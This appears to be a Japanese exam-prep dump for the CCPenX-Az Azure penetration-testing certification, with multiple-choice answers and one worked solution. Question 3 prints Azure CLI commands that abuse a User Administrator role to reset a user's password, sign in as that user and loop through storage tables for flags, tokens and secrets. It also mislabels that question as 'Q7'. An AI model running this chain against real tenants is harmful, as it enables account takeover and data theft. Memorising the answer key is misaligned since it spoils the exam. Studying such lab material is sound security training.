The SecOps Group CCPenX-Az 問題集

質問 1：
You've uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment. Which of the following Microsoft Entra ID roles is assigned to this user?
A. User Administrator
B. Groups Administrator
C. Password Administrator
D. Helpdesk Administrator
正解：A
解説: (Topexam メンバーにのみ表示されます)

質問 2：
Using the previously gained access to the Azure environment, extract an access token from the Web App's environment and use it to impersonate its Managed Identity. Which of the following roles is assigned to the Web App's Security Principal?
A. Compute-Instance-Inspector
B. VM-Metadata-Reader
C. AppService-Auditor
D. Storage-Metadata-Reader
正解：C
解説: (Topexam メンバーにのみ表示されます)

質問 3：
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
正解：
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id [email protected] \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u [email protected] -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
[email protected].

質問 4：
You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates that an attacker reset another user's password through Microsoft Entra ID?
A. Microsoft.Storage/storageAccounts/listKeys/action
B. Update user / password profile modification
C. Microsoft.KeyVault/vaults/secrets/read
D. Microsoft.Authorization/roleAssignments/write
正解：B
解説: (Topexam メンバーにのみ表示されます)